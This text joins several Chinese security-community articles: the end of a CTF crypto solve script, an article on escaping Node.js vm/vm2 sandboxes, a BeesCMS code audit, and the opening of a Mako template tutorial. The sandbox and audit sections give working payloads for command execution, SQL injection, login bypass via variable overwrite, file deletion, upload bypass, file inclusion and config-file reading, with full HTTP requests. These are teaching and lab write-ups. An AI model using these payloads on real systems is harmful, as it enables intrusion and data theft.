首先T3处，s未知，需要用s2 * Qpub 得到 s * s2 * G1，取s1 = c抵消c。s2可任意
因此T3 = s2 * Ppub
T2处方便起见U3 = G1，s3 * h *G1 用 s3 * H得到，同样让s4 = c抵消c，s3可任意
因此T2 = s3 * H
T1处几个参数已固定
T1 = s3 _H + s2_ Qpub
然后任意取值即可
exp中任意参数全取了1
import gmssl.optimized_curve as ec
import gmssl.optimized_pairing as ate
import agid
import re
from gmssl.optimized_field_elements import FQ2, FQ
from pwn import *
p = remote('172.16.9.45' , 18585)
recv = p.recvline()[:-1]
Ppub , Qpub , H , V = [[FQ2(y) if type(y) is list else FQ(y) for y in x] for x in eval(recv)]
p.recvuntil('>>>')
p.sendline('1')
p.recvuntil('>>>')
U1 = ec.G1
U2 = ec.G2
U3 = ec.G1
S1 = ec.G1
S2 = V
s2 = 1
s3 = 1
T3 = ec.multiply(Ppub , s2)
T2 = ec.multiply(H , s3)
T1 = ec.add(ec.multiply(Qpub , s2) , T2)
temp = (U1,U2,U3,S1,S2,T1,T2,T3)
print(str(temp))
p.sendline(str(temp))
c = int(p.recvline()[:-1])
s1 = c
s4 = c
slist = (s1,s2,s3,s4)
p.sendline(str(slist))
p.interactive()
## 总结
两道题都有巨大的代码量，光是看懂整个流程就需要花上很长时间。第一道题的中间人攻击可能更容易看懂，却很难找到攻击点。反而是第二题的认证虽然很简单，但一上来十几个变量加上双线性对让人很难一眼看出程序在干嘛，导致最后反而是中间人攻击的解题人数更多，几乎没有人来做agid。
带着自信，静下心看题，才不会被题目吓住。 | 社区文章 |
## 什么是沙箱
node官方文档里提到node的vm模块可以用来做沙箱环境执行代码，对代码的上下文环境做隔离
A common use case is to run the code in a sandboxed environment.
The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code.
JavaScript本身极其灵活 所以容易出现许多黑魔法
## 这个node沙箱，他安全吗？
vm相对于尽管隔离了代码上下文环境，但是依然可以访问标准的JS API和全局的NodeJS环境
因此vm并不安全
The vm module is not a security mechanism. Do not use it to run untrusted code
举个例子
const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")
console.log("The app goes on...")
很轻易看出 这一段代码永远不会输出
为了避免上面这种情况，可以将上下文简化成只包含基本类型，如下所示
let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
上述代码中的ctx不能包含引用类型的属性
即使能访问标准的JS API和全局的NodeJS环境
也不会造成污染
这是由于node原生vm设计缺陷引起的
于是就有了vm2
<https://github.com/patriksimek/vm2>
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined
vm2的timeout对于异步代码不起作用
所以下面的代码永远不会执行结束
陷入死循环
const { VM } = require('vm2');
const vm = new VM({ timeout: 1000, sandbox: {}});
vm.run('new Promise(()=>{})');
这个时候就可以使用黑魔法：通过重新定义Promise的方式来禁用Promise
绕过成功
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000, sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');
## 全局变量污染
举个例子~
eval('1+2')
eval 是全局对象的一个函数属性，执行的代码拥有着和应程中其它正常代码一样的的权限，它具有访问执行上下文中的局部变量的功能，亦能 **访问全部全局变量**
此时便造成了所谓的全局变量污染
再举个例子
观察下列两个JavaScript
function f() {
alert("f() in a.js");
}
setTimeout(function() {
f();
}, 1000);
function f() {
alert("f() in b.js");
}
setTimeout(function() {
f();
}, 2000);
先后载入a,b两个js
会看到两次"f() in b.js"
后载入的b.js把f重新定义了
假设a.js需要分割字符串
b.js需要分割数组
两个JavaScript同时拥有split函数
那一个模块就要损毁
二、解决办法
1、定义全局变量命名空间
只创建一个全局变量，并定义该变量为当前应用容器，把其他全局变量追加在该命名空间下
var sxc={};
sxc.name={
big_name:"sunxiaochuan",
small_name:"sungou"
};
sxc.work={
bilibili_work:"chouxiang",
weibo_work:"qialanqian"
};
或者使用匿名函数
(function(){
var exp={};
var name="aa";
exp.method=function(){
return name;
};
window.ex=exp;
})();
## JavaScript之原型链污染
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'ErrorOccured';
} catch (e) {
console.log(e);
result = 'ErrorOccured';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
重点关注
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
绕过正则，因为可以使用Math.随便什么单词，所以可以获取到Math. **proto** ,但这姿势无法直接利用
但是经过尝试，我们发现，Arrow Function 是可以使用的，尝试构造这种链
((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__
然后尝试调用eval或者Function，但是此处无法直接输入字符串，故使用String.fromCharCode(...)
然后使用
Math+1 // '[object Math]1'
从原型链上导出String和Function
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()
// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructro; // Function
f(e)(); // 调用
exp：
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()
再举一例 是最近一个业务场景中遇到的
js依赖库漏洞和vm漏洞
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
[Nodejs文档](http://nodejs.cn/api/timers.html#timers_settimeout_callback_delay_args)
> setTimeout 当 delay 大于 2147483647 或小于 1 时，则 delay 将会被设置为 1。 非整数的 delay
> 会被截断为整数。
> 所以直接传
?delay=2147483649
给出了`package.json`文件，查看使用依赖库以及版本，对其中比较核心的`safer-eval`感到怀疑，尝试搜索（在github
advisor或者npm advisor都可以找到）
[然后找到了这个](https://github.com/advisories/GHSA-v63x-xc9j-hhvq)
利用很简单，原理就是对于内置函数没有过滤完全，导致可以获取vm外的上下文中的对象
[vm2相关issue](https://github.com/patriksimek/vm2/issues/197)
构造payload
{
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
}
## 如何建立更为安全的沙箱环境？
通过进程池统一调度管理沙箱进程
基于资源利用最大化，提出以下方案
新建一个进程池，所有任务到来会创建一个 Script 实例
进入 pending 队列
直接将 script 实例的 defer 对象返回
调用处进行 await 执行结果
再由 sandbox master 根据工程进程的空闲程序来调度执行
这个master 会将 script 的执行信息，包括重要的 ScriptId，等等，发送给空闲的 worker
worker 执行完成后会将「结果 + script 信息」回传至 master
master 通过 ScriptId 识别执行完毕的脚本id 判断是哪个脚本结束
结果进行 resolve 或 reject 处理
这样，通过**进程池**即能降低**进程来回创建和销毁的开销**
大致机制如下
异步操作超时，
将工程进程直接kill，
master 将发现一个工程进程被kill掉
再立即创建替补进程
将数据发送至沙箱的方式也值得研究
通过动态代码处理数据，直接序列化后通过 IPC 传入隔离的 Sandbox 进程
执行结果一样经过序列化通过 IPC 传输
其中，如果需要传入一个方法给 sandbox，由于不在一个进程，并不能方便的将引用传递给 sandbox
此时我们可以将宿主方法，在传递给 sandbox worker 之类做一下处理，转换为一个**描述对象**，包括了允许 sandbox 调用的方法集合，然后将允许调用的方法列表，如同其它数据一样发送给 worker 进程，worker 收到数据后，识别出**方法描述对象**，然后在 worker 进程中的 sandbox 对象上建立代理方法，代理方法同样通过 IPC 和 master 通讯。 | 社区文章 |
# beescms 安装
作者准备学习php代码审计和java代码审计，所以审计一些经典易上手的cms，并将过程记录下来。
官网下载源码并使用phpstudy安装搭建
# 代码审计
先看一下cnvd有哪些已经交的漏洞
文件上传，注入，包含，越权，文件读取，代码执行，csrf，文件删除，还是挺多漏洞的。
配置文件在/data/confing.php
# admin/login.php后台登录页面sql注入
访问<http://192.168.43.199/admin/login.php>
用户名这里输入admin'会报错，如果挂xray被动扫描的话能扫出注入，手动测试也可以看出。
白盒审计一下
找到登录处的代码 /admin/login.php
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确！");}
}
}
}
check_login($user,$password);
}
user处使用fl_value和fl_html方法，跟进看一下有什么作用
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
fl_value是将我们传入的user值进行一个匹配，匹配到的话替换为空，这里只是匹配的话，我们可以使用双写绕过 seselectlect a and nd
这样的方式，或者大小写绕过
再看fl_html方法，是将我们输入的值进行html实体化编码，htmlspecialchars默认编码双引号，那我们使用单引号或者hex编码就好
来跟进check_login($user,$password) 这个方法
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
直接将获取来的user值拼接到sql语句中查询，跟进一下fetch_asc
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
进行sql查询操作，跟进query函数
function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
mysql进行查询，如果报错的话贴心的输出错误内容，这样就导致报错注入的产生，构造payload
admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#
当然也能写入文件getshell,网上有分析
# includes/init.php 变量覆盖导致的后台登录绕过
首先看beescms后台登录的验证代码
admin/login
跟进is_login()
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
判断session中login_in是否为1并且有admin参数的传入，然后login_time>3600 的话，就算是登录了
正常情况是无法控制session的，但是分析发现很多文件都引入了includes/init.php
includes/init.php
session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
这里先来补充extract()的知识
_PHP extract() 函数是从数组中把变量导入到当前的符号表中。_ 定义和用法 对于数组中的每个元素，键名用于变量名，键值用于变量值。
先设置了session_start()，创建会话。判断是否有输入来设置了cookie，fl_value进行一些简单的过滤，使用request设置cookie，$_GET
=
fl_value($_GET);来过滤get请求的内容，但是没有过滤post请求，后面还都通过@extract()来引入变量，进行变量的覆盖操作，那么这样就可以post方法传递session。二者配合构造session来绕过登录限制
访问<http://192.168.43.199/index.php>
post传递值
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888
之后访问admin/admin.php
这里发现login_time需要设置超级大的时间，要不然会显示成功退出，而且session这样的键值对需要写成_SESSION[login_in]=1
如果SESSION['login_in']=1是不行的，单引号不能加
# admin/admin_ajax.php 后台sql注入
审计sql注入之前我们先看一下这句话
addslashes 在单引号（'）、双引号（"）、反斜线（\）与 NUL前加上反斜线 可用于防止SQL注入
mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string
mysql_real_escape_string SQLite3::escapeString
以上函数会在\x00(NULL), \n, \r, , ', " 和 \x1a (CTRL-Z)前加上反斜线\ 并考虑了当前数据库连接字符集进行处理
注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入
例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入
就是说过滤时候要使用引号包裹，要不然比如直接报错语句，也不需要用到引号
我们来看一下全局的过滤
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
接收参数，我们跟进addsl()
function addsl($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
}
}
对于接收的参数使用addslashes()来给特殊符号加'\'，但是没有使用引号包裹，这很有问题。
来看admin_ajax.php
elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
}
creat_inc($cache_file,$str);
}
这里sql语句执行update操作，但是未对field这个传入的变量进行校验，除了addsl()在特殊符号前加'\'
那么我们可以构造
/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or
updatexml(1,concat(0x23,database()),1)--+
可以看到报错语句，那继续修改一下table,既然table选admin表，在admin表找一个不重要的字段
/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or
updatexml(1,concat(0x23,database()),1)--+
好了
输入
[http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111](http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111)
or updatexml(1,concat(0x23,database()),1)--+
# admin/admin_ajax.php 任意文件删除漏洞
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
看代码的时候发现了这段，上面的value值通过$value=$_REQUEST['value'];
来传入，那我一想，value可控，通过目录穿越，可以删除任意文件
构造payload
/admin/admin_ajax.php?action=del_pic&value=../1.txt
成功删除根目录下自己创建的1.txt文件
# admin/admin_book.php 后台sql注入
elseif($action=='del'){
$id=$_GET['id'];
if(empty($id)){die("<script type=\"text/javascript\">alert('参数发生错误，请重新操作');history.go(-1);</script>");}
$sql="delete from ".DB_PRE."book where id=".$id;
$mysql->query($sql);
msg('删除完成','?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
id传值未作任何校验，直接构造
/admin/admin_book.php?action=del&id=11 or
updatexml(1,concat(0x23,database()),1)--+
下面的这个批量删除同样有问题
elseif($action=='del_all'){
$id=$_POST['all'];
if(empty($id)){msg('请选择需要删除的内容','?lang='.$lang);}
foreach($id as $k=>$v){
$sql="delete from ".DB_PRE."book where id=".$v;
$mysql->query($sql);
}
msg("所选内容已经删除",'?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
echo PW;
?>
没能成功构造，所以只能找功能点抓一下包了
POST /admin/admin_book.php?action=del_all&lang=cn HTTP/1.1
Host: 192.168.43.199
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_book.php?lang=cn&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=1mtd8re62d8ppi72aa3bf5b144
Connection: close
all%5B%5D=0&all%5B%5D=1&id=&lang=cn
抓到的包如下，我们修改all%5B%5D=1 or updatexml(1,concat(0x23,database()),1)--+
不抓包的话我根本不知道还有个lang参数
# admin/admin_channel.php sql注入
if($step==3){
if(file_exists(DATA_PATH.'cache_channel/news_arr.php')){include(DATA_PATH.'cache_channel/news_arr.php');}
$news_id=empty($news)?'':array_shift($news);
$str="<?php\n\$news=".var_export($news,true).";\n?>";
cache_write(DATA_PATH.'cache_channel/news_arr.php',$str);
if(!empty($news_id)){
$addtime_rel=explode('-',$news_id['addtime']);
$fl=CMS_PATH.'htm/'.$news_id['cate_fold_name'].'/'.$addtime_rel[0].'/'.$addtime_rel[1].$addtime_rel[2].'/'.$news_id['id'].'.html';
if(file_exists($fl)){@unlink($fl);}
if(!empty($news_id['id'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE."maintb where id=".$news_id['id']);
}
if(!empty($news_id['id'])&&!empty($news_id['table'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE.$news_id['table']." where id=".$news_id['id']);
}
show_htm("已经删除栏目【{$news_id['cate_name']}】下的文章【{$news_id['title']}】",'?action=del_channel&step=3&id='.$id.'&cate_id='.$cate_id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}else{
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where cate_parent=".$cate_id);
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where id=".$cate_id);
$GLOBALS['cache']->cache_category_all();
show_htm("已经删除栏目($cate_id)",'?action=del_channel&step=2&id='.$id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
}
}
elseif($action=='del_channel'){
if(!check_purview('pannel_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$step = $_GET['step'];
$id = intval($_GET['id']);
$tb = $_GET['tb'];
$cate_id = $_GET['cate_id'];
//初始化
if($step==1){
if(!isset($id)||empty($id)){msg('<span style="color:red">参数传递错误,请重新操作</span>');}
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php")){
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
if(empty($channel)){
msg('<span style="color:red">请先更新模型缓存</span>','admin_channel.php');
}
foreach($channel as $key=>$value){
if($value['id']==$id){
$table=$value['channel_table'];
}
}
上面传入$cate_id = $_GET['cate_id']; 这个cate_id,然后下面query("delete from
".DB_PRE."category where cate_parent=".$cate_id)
我们直接构造
/admin/admin_channel.php?action=del_channel&step=3
发现报错
拼接我们可控的cate_id
/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or
updatexml(1,concat(0x23,database()),1)--+
# admin/category.php 后台sql注入
elseif($action=='child'){
if(!check_purview('cate_create')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id=intval($_GET['channel_id']);
if(empty($channel_id)){err('<span style="color:red">参数传递错误,请重新操作</span>');}
if(!empty($channel)){
foreach($channel as $k=>$v){
if($v['id']==$channel_id){
$mark=$v['channel_mark'];
}
}
}
$sql="select cate_name from ".DB_PRE."category where id=".$parent;
$rel=$GLOBALS['mysql']->fetch_asc($sql);
include('template/admin_category_child.php');
}
观察parent从哪里传入
直接最上面全局传入
构造
[http://192.168.43.199/admin/admin_catagory.php?action=child&channel_id=111&parent=1111%20or%20updatexml(1,concat(0x23,database()),1)--+](http://192.168.43.199/admin/admin_catagory.php?action=child&channel_id=111&parent=1111%20or%20updatexml\(1,concat\(0x23,database\(\)\),1\)--+)
# admin/upload.php 后台文件上传
全局搜索 **move_uploaded_file()**
function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
if(is_uploaded_file($file['tmp_name'])){
if($file['size']>$size){
msg('图片超过'.$size.'大小');
}
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg('上传图片格式不正确');
}
$path_name="upload/img/";
$path=CMS_PATH.$path_name;
if(!file_exists($path)){
@mkdir($path);
}
发现上传函数up_img只对文件类型做了校验，之后就进行上传
if(!move_uploaded_file($file['tmp_name'],$file_name)){
msg('图片上传失败','',0);
}
那么file_type这个字段是MIME类型，我们抓包可以修改，所有此处文件上传存在问题，看一下谁调用了这个方法
admin/upload.php处的上传，限定mime类型为这几种
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
这里只需要上传时修改mime类型就行
成功上传。
# admin/channel.php文件包含漏洞
seay审计
elseif($action=='save_backup')
{
if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id = intval($_POST['channel_id']);
if(empty($channel_id))
{
msg('参数发生错误！请重新操作！');
}
//判断是否存在文件
$file_name = $_POST['file_name'];
if(empty($file_name))
{
msg('文件名不能为空!');
}
$file_path = DATA_PATH.'backup/'.$file_name.'.php';
if(!file_exists($file_path))
{
msg('不存在导入文件，请检查data/backup目录下是否存在文件');
}
include($file_path);
//获取模型表
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php"))
{
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
foreach($channel as $key=>$value){
if($value['id']==$channel_id){
$table=$value['channel_table'];
}
}
看了一下就是post传递文件名，如果在/data/backup下面有这个文件，就进行包含，测试发现可以目录穿越，那么就可以包含任意php文件。
我并没有直接构造，而是查找漏洞的触发点在哪
发现在admin_channel.php-导入字段这里就是backup，需要我们输入路径，然后我在上级目录写了一个phpinfo.php文件，通过../phpinfo这样的方式来包含
成功显示phpinfo页面
数据包
POST /admin/admin_channel.php?nav=main&admin_p_nav=main_info HTTP/1.1
Host: 192.168.43.199
Content-Length: 451
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNWR0jlaZX9FTIQOO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_channel.php?action=backup&id=2&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=gjb8ujuvq0k4hi0842cs8bi9u7
Connection: close
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="file_name"
../phpinfo
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="channel_id"
2
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="action"
save_backup
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="submit"
确定
------WebKitFormBoundaryNWR0jlaZX9FTIQOO--
# admin/admin_template.php 后台任意文件读取
elseif($action=='xg'){
if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$file = $_GET['file'];
$path=CMS_PATH.$file;
if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($path));
$str = str_replace("&","&",$str);
$str= str_replace(array("'",'"',"<",">"),array("'",""","<",">"),$str);
flock($fp,LOCK_UN);
fclose($fp);
include('template/admin_template_xg.php');
}
发现模板修改界面的路径是接收file参数，如果存在的话就读取。来找一下这个功能点
点击修改
发现找对地方了，在修改处抓包
将file的值构造成我们想要读取的文件
GET /admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=template/default/%2e%2e/%2e%2e/data/confing.php HTTP/1.1
Host: 192.168.43.199
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_template.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=v00796a3a27mt5ov29e5ef3sd7
Connection: close
成功读取数据库配置文件
参考网上的文章和自己分析代码审计出了目前的这些漏洞，其它漏洞还没审计出来，如果有更多好的思路欢迎师傅们来讨论交流 | 社区文章 |
上一篇我们介绍了Flask模块下的模板注入漏洞，今天就来讲一讲Mako模板引擎：
## Mako模板基础：
我们还是先进行一下Mako模板的介绍，其相关的语法和用法，在Mako 是 Pylons 的默认模板语言，就好比 jinja2 和 flask 的关系类似。
### 基础语法
* 变量取值：
${ }：输入 `1+1`，`字符串`，`方法`，都会有执行结果
显示变量temp的值：${temp}
变量temp乘2：${temp*2}
变量temp的平方：${pow(temp,2)}
* 2、转义符
在定义变量时，如果其中包含特殊符号时记得要使用转义符转换。u负责转换URL地址，h转换HTML，x对XML进行转义，trim就是去空格啦。
url: ${"there is some text"}
url(with escaping): ${"there is some text" | u}
执行：
url: there is some text
url(with escaping): there+is+some+text##空格被解析为+号
html: ${"show <table>"}
html(with escaping): ${"show <table>" | h}
执行：
html: show <table>
html(with escaping): show <table>##<>被成功转义
* 控制结构：
%for ... : %endfor
%if ... : ... %elif: ... % else: ... %endif
* Python 代码块：
<%%>
* 导入模块：
<%! %>
* 定义函数：
`<%def name="..." > ... </%def>`，调用：`${...()}`
* 注释：
##（单行）、<%doc>（多行）
* 其他：
继承模板：<%inherit ... />
包含模板：<%include ... />，
引用：<%page ... />
==可以看到上面非常依赖 `%`，如果非要用到 `%`，需要写成 `%%`==
对于常用的语法，看一个例子就懂了：
from mako.template import Template
tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>
<% c = 5 %>
% for i in my_range(c)+a:
%if i % 2:
${ i }
%endif
% endfor
''')
print(tp.render(a = [5, 6, 7, 8, 9]))
我们来解释一下这个代码的含义：
在Mako模板语言创建一个模板，在模板中定义一个名为my_range的函数，该函数接受一个参数n，返回一个由0到n-1的整数列表，这是整个代码的核心机制
<%def name="my_range(n)" > <% return list(range(n))%> </%def>
